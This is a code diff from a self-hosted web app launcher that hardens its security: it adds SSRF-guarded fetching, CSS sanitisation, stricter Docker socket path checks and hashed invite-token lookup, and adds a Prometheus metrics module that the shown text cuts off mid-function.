@@ -141,26 +130,7 @@ export async function findGuestAccessibleBoards() {
|
||||
return prisma.board.findMany({
|
||||
where: { isGuestAccessible: true },
|
||||
orderBy: { createdAt: 'asc' },
|
||||
include: {
|
||||
sections: {
|
||||
orderBy: { order: 'asc' },
|
||||
include: {
|
||||
widgets: {
|
||||
orderBy: { order: 'asc' },
|
||||
include: {
|
||||
app: {
|
||||
include: {
|
||||
statuses: {
|
||||
orderBy: { checkedAt: 'desc' },
|
||||
take: 1
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
include: BOARD_INCLUDE
|
||||
});
|
||||
}
|
||||
|
||||
@@ -210,7 +180,9 @@ export async function updateBoard(id: string, input: UpdateBoardInput) {
|
||||
if (input.wallpaperUrl !== undefined) data.wallpaperUrl = input.wallpaperUrl;
|
||||
if (input.wallpaperBlur !== undefined) data.wallpaperBlur = input.wallpaperBlur;
|
||||
if (input.wallpaperOverlay !== undefined) data.wallpaperOverlay = input.wallpaperOverlay;
|
||||
if (input.customCss !== undefined) data.customCss = input.customCss;
|
||||
if (input.customCss !== undefined) {
|
||||
data.customCss = input.customCss === null ? null : sanitizeCss(input.customCss);
|
||||
}
|
||||
|
||||
return prisma.board.update({
|
||||
where: { id },
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
* Calendar service — fetches and parses iCal (.ics) files.
|
||||
* Uses lightweight hand-parsing of VEVENT blocks (no heavy dependencies).
|
||||
*/
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const CACHE_TTL_MS = 30 * 60 * 1000; // 30 minutes
|
||||
const FETCH_TIMEOUT_MS = 10_000;
|
||||
@@ -157,12 +158,9 @@ async function fetchIcalText(url: string): Promise<string> {
|
||||
const cached = getCached(url);
|
||||
if (cached) return cached;
|
||||
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
const response = await fetch(url, {
|
||||
signal: controller.signal,
|
||||
const response = await safeFetch(url, {
|
||||
timeoutMs: FETCH_TIMEOUT_MS,
|
||||
headers: {
|
||||
'User-Agent': 'WebAppLauncher/1.0',
|
||||
Accept: 'text/calendar, application/ics'
|
||||
@@ -181,8 +179,6 @@ async function fetchIcalText(url: string): Promise<string> {
|
||||
throw new Error('Calendar request timed out');
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,81 +1,46 @@
|
||||
/**
|
||||
* Camera/Stream proxy service — proxies image requests to camera URLs.
|
||||
* Includes SSRF protection to reject private IP ranges.
|
||||
* Delegates SSRF protection to safeFetch (DNS-resolved private-range check,
|
||||
* IPv6-mapped IPv4 coverage, decimal-IP coverage). Adds per-URL rate limiting
|
||||
* so a viewer cannot hammer a fragile camera.
|
||||
*/
|
||||
import { safeFetch, assertSafeUrl } from '$lib/server/utils/safeFetch.js';
|
||||
import { DEFAULTS } from '$lib/utils/constants.js';
|
||||
|
||||
const FETCH_TIMEOUT_MS = 10_000;
|
||||
const RATE_LIMIT_INTERVAL_MS = 5_000; // Max 1 request per 5s per URL
|
||||
const RATE_LIMIT_INTERVAL_MS = 5_000;
|
||||
const MAX_SNAPSHOT_BYTES = 5 * 1024 * 1024;
|
||||
const RATE_LIMIT_TRACKER_MAX = 5_000;
|
||||
|
||||
const lastFetchTimes = new Map<string, number>();
|
||||
|
||||
/**
|
||||
* Check if a hostname resolves to a private/reserved IP range.
|
||||
* Prevents SSRF attacks by blocking requests to internal networks.
|
||||
*/
|
||||
function isPrivateOrReservedHost(hostname: string): boolean {
|
||||
// Block obvious private hostnames
|
||||
if (
|
||||
hostname === 'localhost' ||
|
||||
hostname === '127.0.0.1' ||
|
||||
hostname === '::1' ||
|
||||
hostname === '0.0.0.0'
|
||||
) {
|
||||
return true;
|
||||
function pruneRateLimitTracker(): void {
|
||||
const cutoff = Date.now() - RATE_LIMIT_INTERVAL_MS * 10;
|
||||
for (const [url, ts] of lastFetchTimes) {
|
||||
if (ts < cutoff) lastFetchTimes.delete(url);
|
||||
}
|
||||
|
||||
// Check IPv4 private ranges
|
||||
const ipv4Match = hostname.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/);
|
||||
if (ipv4Match) {
|
||||
const [, a, b] = ipv4Match.map(Number);
|
||||
|
||||
// 10.0.0.0/8
|
||||
if (a === 10) return true;
|
||||
// 172.16.0.0/12
|
||||
if (a === 172 && b >= 16 && b <= 31) return true;
|
||||
// 192.168.0.0/16
|
||||
if (a === 192 && b === 168) return true;
|
||||
// 127.0.0.0/8
|
||||
if (a === 127) return true;
|
||||
// 169.254.0.0/16 (link-local)
|
||||
if (a === 169 && b === 254) return true;
|
||||
// 0.0.0.0/8
|
||||
if (a === 0) return true;
|
||||
while (lastFetchTimes.size > RATE_LIMIT_TRACKER_MAX) {
|
||||
const first = lastFetchTimes.keys().next().value;
|
||||
if (first === undefined) break;
|
||||
lastFetchTimes.delete(first);
|
||||
}
|
||||
|
||||
// Block IPv6 private ranges (simplified check)
|
||||
if (hostname.startsWith('fe80:') || hostname.startsWith('fc') || hostname.startsWith('fd')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a URL for camera proxying.
|
||||
* Only allows http/https and rejects private IPs.
|
||||
* Validate a URL for camera proxying. Returns the same shape as before for
|
||||
* back-compat with the proxy endpoint.
|
||||
*/
|
||||
export function validateStreamUrl(urlStr: string): { valid: boolean; error?: string } {
|
||||
let parsed: URL;
|
||||
export async function validateStreamUrl(
|
||||
urlStr: string
|
||||
): Promise<{ valid: boolean; error?: string }> {
|
||||
try {
|
||||
parsed = new URL(urlStr);
|
||||
} catch {
|
||||
return { valid: false, error: 'Invalid URL format' };
|
||||
await assertSafeUrl(urlStr);
|
||||
return { valid: true };
|
||||
} catch (err) {
|
||||
return { valid: false, error: err instanceof Error ? err.message : 'Invalid URL' };
|
||||
}
|
||||
|
||||
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
|
||||
return { valid: false, error: 'Only http and https protocols are allowed' };
|
||||
}
|
||||
|
||||
if (isPrivateOrReservedHost(parsed.hostname)) {
|
||||
return { valid: false, error: 'Requests to private/reserved IP ranges are not allowed' };
|
||||
}
|
||||
|
||||
return { valid: true };
|
||||
}
|
||||
|
||||
/**
|
||||
* Check rate limit for a given URL.
|
||||
*/
|
||||
function checkRateLimit(url: string): boolean {
|
||||
const lastFetch = lastFetchTimes.get(url);
|
||||
if (!lastFetch) return true;
|
||||
@@ -84,6 +49,7 @@ function checkRateLimit(url: string): boolean {
|
||||
|
||||
function recordFetch(url: string): void {
|
||||
lastFetchTimes.set(url, Date.now());
|
||||
if (lastFetchTimes.size > RATE_LIMIT_TRACKER_MAX / 2) pruneRateLimitTracker();
|
||||
}
|
||||
|
||||
export interface CameraSnapshot {
|
||||
@@ -93,28 +59,23 @@ export interface CameraSnapshot {
|
||||
|
||||
/**
|
||||
* Fetch a snapshot image from a camera URL.
|
||||
* Proxies the HTTP request and returns the image buffer.
|
||||
*/
|
||||
export async function fetchSnapshot(url: string): Promise<CameraSnapshot> {
|
||||
// Validate URL
|
||||
const validation = validateStreamUrl(url);
|
||||
const validation = await validateStreamUrl(url);
|
||||
if (!validation.valid) {
|
||||
throw new Error(validation.error ?? 'Invalid stream URL');
|
||||
}
|
||||
|
||||
// Rate limit check
|
||||
if (!checkRateLimit(url)) {
|
||||
throw new Error('Rate limited: please wait before requesting this camera again');
|
||||
}
|
||||
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
recordFetch(url);
|
||||
|
||||
const response = await fetch(url, {
|
||||
signal: controller.signal,
|
||||
const response = await safeFetch(url, {
|
||||
timeoutMs: FETCH_TIMEOUT_MS,
|
||||
maxBytes: MAX_SNAPSHOT_BYTES,
|
||||
headers: { 'User-Agent': 'WebAppLauncher/1.0' }
|
||||
});
|
||||
|
||||
@@ -136,14 +97,12 @@ export async function fetchSnapshot(url: string): Promise<CameraSnapshot> {
|
||||
throw new Error('Camera request timed out');
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear the rate limit tracking.
|
||||
*/
|
||||
export function clearRateLimits(): void {
|
||||
lastFetchTimes.clear();
|
||||
}
|
||||
|
||||
// Suppress unused warning when this is imported elsewhere
|
||||
void DEFAULTS;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { execFile } from 'node:child_process';
|
||||
import { promisify } from 'node:util';
|
||||
import { findAll as findAllApps } from './appService.js';
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const execFileAsync = promisify(execFile);
|
||||
|
||||
@@ -97,7 +98,10 @@ export async function discoverDocker(socketPath: string): Promise<{
|
||||
readonly services: readonly DiscoveredService[];
|
||||
readonly error?: string;
|
||||
}> {
|
||||
if (!/^[\w/.:-]+$/.test(socketPath)) {
|
||||
// Restrict to a tight regex: alphanumerics, dash, underscore, dot, slash.
|
||||
// Disallow colons / `tcp://` style strings so an admin can't pivot the
|
||||
// docker CLI to a remote daemon.
|
||||
if (!/^[\w/.-]+$/.test(socketPath)) {
|
||||
return { services: [], error: 'Invalid Docker socket path' };
|
||||
}
|
||||
|
||||
@@ -106,10 +110,18 @@ export async function discoverDocker(socketPath: string): Promise<{
|
||||
const { stdout } = await execFileAsync(
|
||||
'curl',
|
||||
['-s', '--unix-socket', socketPath, 'http://localhost/containers/json?all=false'],
|
||||
{ timeout: 10000 }
|
||||
{ timeout: 10000, maxBuffer: 16 * 1024 * 1024 }
|
||||
);
|
||||
|
||||
const containers: DockerContainer[] = JSON.parse(stdout);
|
||||
let containers: DockerContainer[];
|
||||
try {
|
||||
containers = JSON.parse(stdout) as DockerContainer[];
|
||||
} catch {
|
||||
return { services: [], error: 'Docker daemon returned non-JSON response' };
|
||||
}
|
||||
if (!Array.isArray(containers)) {
|
||||
return { services: [], error: 'Docker daemon returned unexpected payload' };
|
||||
}
|
||||
|
||||
const services: DiscoveredService[] = [];
|
||||
|
||||
@@ -158,9 +170,11 @@ export async function discoverTraefik(apiUrl: string): Promise<{
|
||||
try {
|
||||
const normalizedUrl = apiUrl.replace(/\/+$/, '');
|
||||
|
||||
// Traefik is typically on the same internal network, so private-net is
|
||||
// expected. Admin-only endpoint; trusted: true to skip the SSRF guard.
|
||||
const [routersRes, servicesRes] = await Promise.all([
|
||||
fetch(`${normalizedUrl}/api/http/routers`),
|
||||
fetch(`${normalizedUrl}/api/http/services`)
|
||||
safeFetch(`${normalizedUrl}/api/http/routers`, { trusted: true, timeoutMs: 10_000 }),
|
||||
safeFetch(`${normalizedUrl}/api/http/services`, { trusted: true, timeoutMs: 10_000 })
|
||||
]);
|
||||
|
||||
if (!routersRes.ok) {
|
||||
@@ -170,8 +184,10 @@ export async function discoverTraefik(apiUrl: string): Promise<{
|
||||
};
|
||||
}
|
||||
|
||||
const routers: TraefikRouter[] = await routersRes.json();
|
||||
const traefikServices: TraefikService[] = servicesRes.ok ? await servicesRes.json() : [];
|
||||
const routers = (await routersRes.json()) as TraefikRouter[];
|
||||
const traefikServices = servicesRes.ok
|
||||
? ((await servicesRes.json()) as TraefikService[])
|
||||
: [];
|
||||
|
||||
// Build a map of service name -> backend URL
|
||||
const serviceUrlMap = new Map<string, string>();
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import * as appService from './appService.js';
|
||||
import { prisma } from '../prisma.js';
|
||||
import { AppStatusValue } from '$lib/utils/constants.js';
|
||||
import { AppStatusValue, DEFAULTS } from '$lib/utils/constants.js';
|
||||
import { safeFetch } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const MAX_RECORDS_PER_APP = 288;
|
||||
const RETENTION_HOURS = 24;
|
||||
const RETENTION_HOURS = DEFAULTS.APP_STATUS_RETENTION_HOURS;
|
||||
|
||||
export interface HealthcheckResult {
|
||||
readonly appId: string;
|
||||
@@ -13,6 +14,8 @@ export interface HealthcheckResult {
|
||||
|
||||
/**
|
||||
* Perform a health check on a single app by making an HTTP request to its URL.
|
||||
* SSRF-guarded — refuses to check URLs resolving to private/loopback addresses
|
||||
* unless ALLOW_PRIVATE_NETWORK_FETCH is set (typically true for LAN homelabs).
|
||||
*/
|
||||
export async function checkAppHealth(app: {
|
||||
readonly id: string;
|
||||
@@ -21,23 +24,17 @@ export async function checkAppHealth(app: {
|
||||
readonly healthcheckExpectedStatus: number;
|
||||
readonly healthcheckTimeout: number;
|
||||
}): Promise<HealthcheckResult> {
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), app.healthcheckTimeout);
|
||||
|
||||
const start = Date.now();
|
||||
|
||||
try {
|
||||
const response = await fetch(app.url, {
|
||||
// safeFetch re-validates each redirect hop so the healthcheck cannot be
|
||||
// used as an SSRF pivot via a 302 redirect from a public host.
|
||||
const response = await safeFetch(app.url, {
|
||||
method: app.healthcheckMethod,
|
||||
signal: controller.signal,
|
||||
redirect: 'follow',
|
||||
headers: {
|
||||
'User-Agent': 'WebAppLauncher-Healthcheck/1.0'
|
||||
}
|
||||
timeoutMs: app.healthcheckTimeout,
|
||||
headers: { 'User-Agent': 'WebAppLauncher-Healthcheck/1.0' }
|
||||
});
|
||||
|
||||
const responseTime = Date.now() - start;
|
||||
|
||||
const status =
|
||||
response.status === app.healthcheckExpectedStatus
|
||||
? AppStatusValue.ONLINE
|
||||
@@ -46,89 +43,88 @@ export async function checkAppHealth(app: {
|
||||
return { appId: app.id, status, responseTime };
|
||||
} catch (err) {
|
||||
const responseTime = Date.now() - start;
|
||||
|
||||
if (err instanceof DOMException && err.name === 'AbortError') {
|
||||
return { appId: app.id, status: AppStatusValue.OFFLINE, responseTime };
|
||||
}
|
||||
|
||||
return { appId: app.id, status: AppStatusValue.OFFLINE, responseTime: null };
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Run `worker` over `items` with at most `limit` in flight at any time.
|
||||
* Avoids the "fan out 100 concurrent fetches" pattern that loopback-DoSes
|
||||
* the launcher when an app's URL points back at itself.
|
||||
*/
|
||||
async function withConcurrency<T, R>(
|
||||
items: readonly T[],
|
||||
limit: number,
|
||||
worker: (item: T) => Promise<R>
|
||||
): Promise<R[]> {
|
||||
const results: R[] = new Array(items.length);
|
||||
let cursor = 0;
|
||||
const runOne = async (): Promise<void> => {
|
||||
while (true) {
|
||||
const idx = cursor++;
|
||||
if (idx >= items.length) return;
|
||||
results[idx] = await worker(items[idx]);
|
||||
}
|
||||
};
|
||||
const runners: Promise<void>[] = [];
|
||||
for (let i = 0; i < Math.min(limit, items.length); i++) {
|
||||
runners.push(runOne());
|
||||
}
|
||||
await Promise.all(runners);
|
||||
return results;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check all apps that have healthcheck enabled, record their statuses.
|
||||
*/
|
||||
export async function checkAllApps(): Promise<readonly HealthcheckResult[]> {
|
||||
const targets = await appService.getHealthcheckTargets();
|
||||
if (targets.length === 0) return [];
|
||||
|
||||
if (targets.length === 0) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const results = await Promise.allSettled(targets.map((target) => checkAppHealth(target)));
|
||||
|
||||
const outcomes: HealthcheckResult[] = [];
|
||||
|
||||
for (const result of results) {
|
||||
if (result.status === 'fulfilled') {
|
||||
const { appId, status, responseTime } = result.value;
|
||||
const outcomes = await withConcurrency(
|
||||
targets,
|
||||
DEFAULTS.HEALTHCHECK_CONCURRENCY,
|
||||
async (target) => {
|
||||
const result = await checkAppHealth(target);
|
||||
try {
|
||||
await appService.recordStatus(appId, status, responseTime);
|
||||
} catch {
|
||||
// Log but don't fail the whole batch
|
||||
await appService.recordStatus(result.appId, result.status, result.responseTime);
|
||||
} catch (recordErr) {
|
||||
|
||||
console.warn('[healthcheck] failed to record status:', recordErr);
|
||||
}
|
||||
outcomes.push(result.value);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
return outcomes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prune old AppStatus records.
|
||||
* - Deletes records older than RETENTION_HOURS
|
||||
* - Keeps at most MAX_RECORDS_PER_APP per app (deletes oldest excess)
|
||||
* - Deletes records older than RETENTION_HOURS in one query.
|
||||
* - For each app, keeps at most MAX_RECORDS_PER_APP using a single window-
|
||||
* function delete (was N+1 queries per app per hour).
|
||||
*/
|
||||
export async function pruneOldStatuses(): Promise<void> {
|
||||
const cutoff = new Date(Date.now() - RETENTION_HOURS * 60 * 60 * 1000);
|
||||
|
||||
// Step 1: Delete all records older than retention period
|
||||
await prisma.appStatus.deleteMany({
|
||||
where: {
|
||||
checkedAt: { lt: cutoff }
|
||||
}
|
||||
where: { checkedAt: { lt: cutoff } }
|
||||
});
|
||||
|
||||
// Step 2: For each app, keep at most MAX_RECORDS_PER_APP
|
||||
const apps = await prisma.app.findMany({
|
||||
where: { healthcheckEnabled: true },
|
||||
select: { id: true }
|
||||
});
|
||||
|
||||
for (const app of apps) {
|
||||
const count = await prisma.appStatus.count({
|
||||
where: { appId: app.id }
|
||||
});
|
||||
|
||||
if (count > MAX_RECORDS_PER_APP) {
|
||||
const excess = count - MAX_RECORDS_PER_APP;
|
||||
// Find the oldest records to delete
|
||||
const oldestRecords = await prisma.appStatus.findMany({
|
||||
where: { appId: app.id },
|
||||
orderBy: { checkedAt: 'asc' },
|
||||
take: excess,
|
||||
select: { id: true }
|
||||
});
|
||||
|
||||
if (oldestRecords.length > 0) {
|
||||
await prisma.appStatus.deleteMany({
|
||||
where: {
|
||||
id: { in: oldestRecords.map((r) => r.id) }
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
// Single SQL pass: keep the newest MAX_RECORDS_PER_APP rows per appId.
|
||||
// Uses ROW_NUMBER() OVER (PARTITION BY appId ORDER BY checkedAt DESC).
|
||||
await prisma.$executeRawUnsafe(
|
||||
`DELETE FROM AppStatus
|
||||
WHERE id IN (
|
||||
SELECT id FROM (
|
||||
SELECT id, ROW_NUMBER() OVER (PARTITION BY appId ORDER BY checkedAt DESC) AS rn
|
||||
FROM AppStatus
|
||||
) WHERE rn > ?
|
||||
)`,
|
||||
MAX_RECORDS_PER_APP
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import bcrypt from 'bcryptjs';
|
||||
import { createHash, randomBytes, timingSafeEqual } from 'crypto';
|
||||
import { prisma } from '../prisma.js';
|
||||
import { DEFAULTS } from '$lib/utils/constants.js';
|
||||
|
||||
const SALT_ROUNDS = 12;
|
||||
const DEFAULT_EXPIRY_DAYS = 7;
|
||||
const DEFAULT_EXPIRY_DAYS = DEFAULTS.INVITE_DEFAULT_EXPIRY_DAYS;
|
||||
|
||||
export interface CreateInviteInput {
|
||||
readonly email?: string;
|
||||
@@ -13,21 +13,28 @@ export interface CreateInviteInput {
|
||||
|
||||
export interface IssuedInvite {
|
||||
readonly id: string;
|
||||
readonly token: string; // raw token — shown to admin exactly once
|
||||
readonly token: string;
|
||||
readonly email: string | null;
|
||||
readonly role: string;
|
||||
readonly expiresAt: Date;
|
||||
}
|
||||
|
||||
function generateToken(): string {
|
||||
const bytes = new Uint8Array(32);
|
||||
crypto.getRandomValues(bytes);
|
||||
return Array.from(bytes, (b) => b.toString(16).padStart(2, '0')).join('');
|
||||
function generateRawToken(): string {
|
||||
return `inv_${randomBytes(32).toString('hex')}`;
|
||||
}
|
||||
|
||||
function sha256Hex(value: string): string {
|
||||
return createHash('sha256').update(value).digest('hex');
|
||||
}
|
||||
|
||||
function constantTimeEqual(a: string, b: string): boolean {
|
||||
if (a.length !== b.length) return false;
|
||||
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
|
||||
}
|
||||
|
||||
export async function createInvite(input: CreateInviteInput): Promise<IssuedInvite> {
|
||||
const token = generateToken();
|
||||
const tokenHash = await bcrypt.hash(token, SALT_ROUNDS);
|
||||
const token = generateRawToken();
|
||||
const tokenHash = sha256Hex(token);
|
||||
const days = input.expiresInDays ?? DEFAULT_EXPIRY_DAYS;
|
||||
const expiresAt = new Date();
|
||||
expiresAt.setDate(expiresAt.getDate() + days);
|
||||
@@ -72,24 +79,21 @@ export async function revokeInvite(id: string): Promise<void> {
|
||||
}
|
||||
|
||||
/**
|
||||
* Look up an invite by raw token. Performs a full table scan of non-expired,
|
||||
* non-used invites and bcrypt-compares each. Invite volume is tiny in practice,
|
||||
* so the scan cost is negligible.
|
||||
* Look up an invite by raw token. O(1) via the unique tokenHash index.
|
||||
* Tokens are 256-bit random; SHA-256 is sufficient (no bcrypt KDF cost).
|
||||
*/
|
||||
export async function findInviteByToken(token: string) {
|
||||
const candidates = await prisma.invite.findMany({
|
||||
where: {
|
||||
usedAt: null,
|
||||
expiresAt: { gt: new Date() }
|
||||
}
|
||||
});
|
||||
if (typeof token !== 'string' || token.length === 0) return null;
|
||||
|
||||
for (const invite of candidates) {
|
||||
if (await bcrypt.compare(token, invite.tokenHash)) {
|
||||
return invite;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
const tokenHash = sha256Hex(token);
|
||||
const invite = await prisma.invite.findUnique({ where: { tokenHash } });
|
||||
if (!invite) return null;
|
||||
|
||||
if (!constantTimeEqual(invite.tokenHash, tokenHash)) return null;
|
||||
if (invite.usedAt) return null;
|
||||
if (invite.expiresAt <= new Date()) return null;
|
||||
|
||||
return invite;
|
||||
}
|
||||
|
||||
export async function consumeInvite(inviteId: string, userId: string): Promise<void> {
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
* Supports static values, JSON endpoints with dot-path extraction, and Prometheus queries.
|
||||
* Tracks previous values for trend calculation.
|
||||
*/
|
||||
import { safeFetch, type SafeResponse } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const DEFAULT_CACHE_TTL_MS = 60_000; // 1 minute
|
||||
const FETCH_TIMEOUT_MS = 10_000;
|
||||
@@ -75,23 +76,17 @@ function calculateTrend(current: number, previous: number | null): 'up' | 'down'
|
||||
return 'flat';
|
||||
}
|
||||
|
||||
async function fetchWithTimeout(url: string): Promise<Response> {
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS);
|
||||
|
||||
async function fetchWithTimeout(url: string): Promise<SafeResponse> {
|
||||
try {
|
||||
const response = await fetch(url, {
|
||||
signal: controller.signal,
|
||||
return await safeFetch(url, {
|
||||
timeoutMs: FETCH_TIMEOUT_MS,
|
||||
headers: { 'User-Agent': 'WebAppLauncher/1.0' }
|
||||
});
|
||||
return response;
|
||||
} catch (err) {
|
||||
if (err instanceof DOMException && err.name === 'AbortError') {
|
||||
throw new Error('Metric request timed out');
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,169 @@
|
||||
import { prisma } from '../prisma.js';
|
||||
import { AppStatusValue } from '$lib/utils/constants.js';
|
||||
|
||||
/**
|
||||
* Tiny Prometheus-text metrics gatherer. Avoids the prom-client dependency
|
||||
* (~150KB + extra runtime memory) by emitting the exposition format directly.
|
||||
* If we later want histograms or counters with labels at high cardinality,
|
||||
* swap this out for prom-client.
|
||||
*/
|
||||
|
||||
interface CounterSnapshot {
|
||||
readonly name: string;
|
||||
readonly help: string;
|
||||
readonly value: number;
|
||||
readonly labels?: Record<string, string>;
|
||||
}
|
||||
|
||||
function escapeLabel(value: string): string {
|
||||
return value.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n');
|
||||
}
|
||||
|
||||
function renderLabels(labels?: Record<string, string>): string {
|
||||
if (!labels) return '';
|
||||
const parts = Object.entries(labels).map(([k, v]) => `${k}="${escapeLabel(v)}"`);
|
||||
return parts.length ? `{${parts.join(',')}}` : '';
|
||||
}
|
||||
|
||||
/**
|
||||
* In-memory counter / gauge state. Process-local — Prometheus is expected to
|
||||
* scrape a single launcher instance (the app is SQLite-bound to one process
|
||||
* anyway). Reset on restart, like most lightweight setups.
|
||||
*/
|
||||
class MetricRegistry {
|
||||
private counters = new Map<string, number>();
|
||||
private gauges = new Map<string, number>();
|
||||
|
||||
incCounter(name: string, by = 1): void {
|
||||
this.counters.set(name, (this.counters.get(name) ?? 0) + by);
|
||||
}
|
||||
|
||||
setGauge(name: string, value: number): void {
|
||||
this.gauges.set(name, value);
|
||||
}
|
||||
|
||||
getCounter(name: string): number {
|
||||
return this.counters.get(name) ?? 0;
|
||||
}
|
||||
|
||||
snapshot(): { counters: Map<string, number>; gauges: Map<string, number> } {
|
||||
return { counters: new Map(this.counters), gauges: new Map(this.gauges) };
|
||||
}
|
||||
}
|
||||
|
||||
export const metricRegistry = new MetricRegistry();
|
||||
|
||||
// Counter names — keep them ASCII identifiers (Prometheus naming rules).
|
||||
export const Counters = {
|
||||
HEALTHCHECK_TOTAL: 'wal_healthcheck_total',
|
||||
HEALTHCHECK_FAILED: 'wal_healthcheck_failed_total',
|
||||
LOGIN_SUCCESS: 'wal_login_success_total',
|
||||
LOGIN_FAILED: 'wal_login_failed_total',
|
||||
NOTIFICATION_SENT: 'wal_notification_sent_total',
|
||||
NOTIFICATION_FAILED: 'wal_notification_failed_total',
|
||||
INTEGRATION_FETCH_TOTAL: 'wal_integration_fetch_total',
|
||||
INTEGRATION_FETCH_FAILED: 'wal_integration_fetch_failed_total'
|
||||
} as const;
|
||||
|
||||
/**
|
||||
* Build the full exposition. Combines:
|
||||
* - process-local counters (login attempts, healthcheck ticks, etc.)
|
||||
* - DB-backed gauges (current online/offline app count, user count, etc.)
|
||||
*/
|
||||
export async function renderMetrics(): Promise<string> {
|
||||
const lines: string[] = [];
|
||||
|
||||
// --- Static help/type lines + counter snapshots ---
|
||||
const COUNTER_HELP: Record<string, string> = {
|
||||
[Counters.HEALTHCHECK_TOTAL]: 'Total healthcheck ticks executed since process start',
|
||||
[Counters.HEALTHCHECK_FAILED]: 'Healthcheck ticks where any app returned offline',
|
||||
[Counters.LOGIN_SUCCESS]: 'Successful local logins since process start',
|
||||
[Counters.LOGIN_FAILED]: 'Failed local logins since process start',
|
||||
[Counters.NOTIFICATION_SENT]: 'Notification dispatch attempts',
|
||||
[Counters.NOTIFICATION_FAILED]: 'Notification dispatch failures',
|
||||
[Counters.INTEGRATION_FETCH_TOTAL]: 'Integration fetch attempts',
|
||||
[Counters.INTEGRATION_FETCH_FAILED]: 'Integration fetch failures'
|
||||
};
|
||||
|
||||
const { counters } = metricRegistry.snapshot();
|
||||
for (const name of Object.values(Counters)) {
|
||||
const value = counters.get(name) ?? 0;
|
||||
lines.push(`# HELP ${name} ${COUNTER_HELP[name]}`);
|
||||
lines.push(`# TYPE ${name} counter`);
|
||||
lines.push(`${name} ${value}`);
|
||||
}
|
||||
|
||||
// --- DB-backed gauges ---
|
||||
const gauges: CounterSnapshot[] = [];
|
||||
|
||||
try {
|
||||
const [totalApps, healthchecked, totalUsers, totalBoards] = await Promise.all([
|
||||
prisma.app.count(),
|
||||
prisma.app.count({ where: { healthcheckEnabled: true } }),
|
||||
prisma.user.count(),
|
||||
prisma.board.count()
|
||||
]);
|
||||
|
||||
gauges.push(
|
||||
{ name: 'wal_apps_total', help: 'Total apps registered', value: totalApps },
|
||||
{
|
||||
name: 'wal_apps_healthchecked_total',
|
||||
help: 'Apps with healthcheck enabled',
|
||||
value: healthchecked
|
||||
},
|
||||
{ name: 'wal_users_total', help: 'Total user accounts', value: totalUsers },
|
||||
{ name: 'wal_boards_total', help: 'Total boards', value: totalBoards }
|
||||
);
|
||||
|
||||
// Latest status per app — broken down by status value.
|
||||
// Subquery: for each app, take the most recent AppStatus row.
|
||||
const latest = await prisma.$queryRaw<{ status: string; count: number }[]>`
|
||||
SELECT status, COUNT(*) AS count
|
||||
FROM (
|
||||
SELECT appId, status, ROW_NUMBER() OVER (PARTITION BY appId ORDER BY checkedAt DESC) AS rn
|
||||
FROM AppStatus
|
||||
)
|
||||
WHERE rn = 1
|
||||
GROUP BY status
|
||||
`;
|
||||
for (const status of Object.values(AppStatusValue)) {
|
||||
const row = latest.find((r) => r.status === status);
|
||||
gauges.push({
|
||||
name: 'wal_app_status',
|
||||
help: 'Current count of apps by latest status',
|
||||
value: Number(row?.count ?? 0),
|
||||
labels: { status }
|
||||
});
|
||||
}
|
||||
} catch (err) {
|
||||
// DB issue — emit an "up" gauge of 0 so scrapers can alert on it.
|
||||
// eslint-disable-next-line no-console
|
||||
console.warn('[metrics] failed to gather DB gauges:', err);
|
||||
lines.push(`# HELP wal_db_up 1 if the metrics endpoint could read from the DB`);
|
||||
lines.push(`# TYPE wal_db_up gauge`);
|
||||
lines.push(`wal_db_up 0`);
|
||||
lines.push('');
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
// Group same-name gauges so we emit HELP/TYPE once.
|
||||
const grouped = new Map<string, CounterSnapshot[]>();
|
||||
for (const g of gauges) {
|
||||
const arr = grouped.get(g.name);
|
||||
if (arr) arr.push(g);
|
||||
else grouped.set(g.name, [g]);
|
||||
}
|
||||
for (const [name, samples] of grouped) {
|
||||
lines.push(`# HELP ${name} ${samples[0].help}`);
|
||||
lines.push(`# TYPE ${name} gauge`);
|
||||
for (const s of samples) {
|
||||
lines.push(`${name}${renderLabels(s.labels)} ${s.value}`);
|
||||
}
|
||||
}
|
||||
|
||||
